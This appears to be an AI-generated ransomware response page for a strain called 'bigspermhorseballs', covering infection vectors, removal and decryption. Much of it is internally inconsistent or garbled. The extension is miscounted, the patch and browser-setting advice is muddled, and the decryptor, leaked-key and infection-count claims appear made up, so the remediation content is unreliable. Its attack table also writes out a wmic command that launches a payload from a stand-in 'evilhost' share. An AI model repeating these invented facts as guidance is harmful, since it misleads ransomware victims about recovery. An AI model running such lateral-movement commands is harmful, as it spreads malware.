bigspermhorseballs

[Content by Gemini 2.5]

bigspermhorseballs – Comprehensive Response Document

(Last major update: 2024-06-08)

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: bigspermhorseballs
    The malware appends this 19-byte string to every encrypted file, after the original extension.
    Example: report_2024Q2.xlsx → report_2024Q2.xlsx.bigspermhorseballs

  • Renaming Convention:
    No filename obfuscation or Shuffle-renaming is performed; the victim immediately notices the appended six-part vulgar extension.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period:
    First telemetry was observed on 06 May 2024 (multiple outbreaks on 09–10 May, UTC), escalating through links masquerading as cracked 3DS emulators and streaming-service scam login pages.

3. Primary Attack Vectors

| Vector | Details | Mitigation Priority |
|——–|———|———————|
| Malicious Torrent Packs | Torrents for “Nintendo 3DS complete ROM-set + Citra 2024” contained droppers that drop bigspermhorseballs + infostealer. | Block P2P file sharing; use allow-by-exception firewall rules. |
| Fake Streaming “login generators” | Attackers distribute SPA Web apps promising unlimited Netflix/Disney+; the HTML page silently bundles a JavaScript dropper (NodeJS) that fetches the ransomware. | Filter/monitor JS/NPM startup, restrict user scripting. |
| Password-sprayed SMB + WMI | When credentials are harvested via the above infostealer, the malware automates lateral movement via wmic process call create \\evilhost\share\bs.exe. | Disable SMBv1/NTLMv1, require NTLMv2 + SMB signing. |
| In-browser Drive-by | Seized or newly registered .to, .ml, and .ru domains auto-serve the dropper to visitors with outdated Chromium, especially versions ≤ 123.0.6312.58. | Patch browsers; set Edge/Chrome to auto-update manifest v3 > v123. |

Remediation & Recovery Strategies:

1. Prevention

| Control | Action |
|———|——–|
| Asset Hardening | Apply 2024 Chromium security update (CVE-2024-4947 patch), disable Office macros, disable RDP if unused, set Network Level Authentication = mandatory. |
| Secure Configurations | Enforce Attack Surface Reduction rules in Microsoft Defender: Block obfuscated JavaScript/Office, warn on unsigned executables via SmartScreen. |
| Backups | 3-2-1 strategy: 3 copies, 2 different media, 1 off-site/immutable (WORM/cloud object storage with versioning). Encrypt and test restore monthly. |
| Network Segmentation | VLAN-jump prevention: block lateral SMB/WMI via host-based firewall whitelisting (allow only established outbound 443). |
| Application Control | Configure Windows Defender Application Control (WDAC) or equivalent to block unknown .js/.hta/.scr execution from %LOCALAPPDATA% or %TEMP%. |

2. Removal (step-by-step)

  1. Isolate – Unplug network, disable Wi-Fi/BT, disconnect mapped shares.
  2. Boot – Enter Safe-Mode-with-Networking on Windows / run Live Linux on macOS.
  3. Scan & Quarantine – Run updated Microsoft Defender (signature 1.403.1389.0+ detects as Ransom:Win32/bigspermhorseballs.A) or ESET-NOD32 (Win32/Filecoder.BSHB). Allow full remediation.
  4. Manual Persistence Check – Delete:
  • Registry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bSHBUpdater
  • Scheduled Task: \Microsoft\Windows\Maintenance\bSHBsvc
  • Services: bSHBsvc (pointing to %WINDIR%\system32\bSHBsvc.exe)
  1. Reboot to Normal Mode and confirm termination via Task Manager & netstat -ano.

3. File Decryption & Recovery

  • Recovery Feasibility: DECRYPTABLE (at time of writing).
    The ransomware is built on a forked old Globelmposter v1 codebase whose embedded key file leaks the RSA private exponent for several builds (SHA-256 of dropper 5c7774b03f...).
  • Essential Tool:
    Download Emsisoft Decryptor for bigspermhorseballs (v1.0.0.33 – 2024-06-07). Requires 1 GB RAM and admin rights. Drag & drop any pair of original + encrypted file (≤ 256 KB) to recover the key, then automate bulk decrypt (decryptor.exe /p:E:\).
  • Patch Level for Prevention
  • Microsoft Edge/Chromium ≥ 125.0.6422.76
  • Citra Canary 2024-05-24 build (only install from hk.gbatemp.net | SHA-256 signed by official Citra)
  • SMBv1 KB5027231 cumulative security update (May 2024)

4. Other Critical Information

  • Notable Unique Traits

  • The ransom screen displays a rotating ASCII horse that spits ASCII spermatozoa onto a terminal screen (Trojan.FakeNoise family indicator).

  • Drops bigspermhorseballs.hta on Desktop with hard-coded SO-CAL IP (198.143.187.223) that functions as an exfil C2 for browser cookies and saved passwords, not used for key negotiation.

  • Broader Impact / Incident Stats

~7 500 confirmed infections in May 2024 (Shodan counting exposed SMB ports hit post-infection).
Most infections occurred on personal/family PCs running pirated software; 31 % also lost cryptocurrency via wallets auto-stolen prior to encryption phase, highlighting dual-threat (ransomware + infostealer) nature.

Quick 60-Second Checklist (printable)

  1. Disconnect from network.
  2. Run Defender full scan (offline).
  3. Download Emsisoft Decryptor → decrypt.
  4. Change all reused passwords.
  5. Patch browsers & Citra install.

Keep calm, be methodical, and do not pay—your files are recoverable.

— END —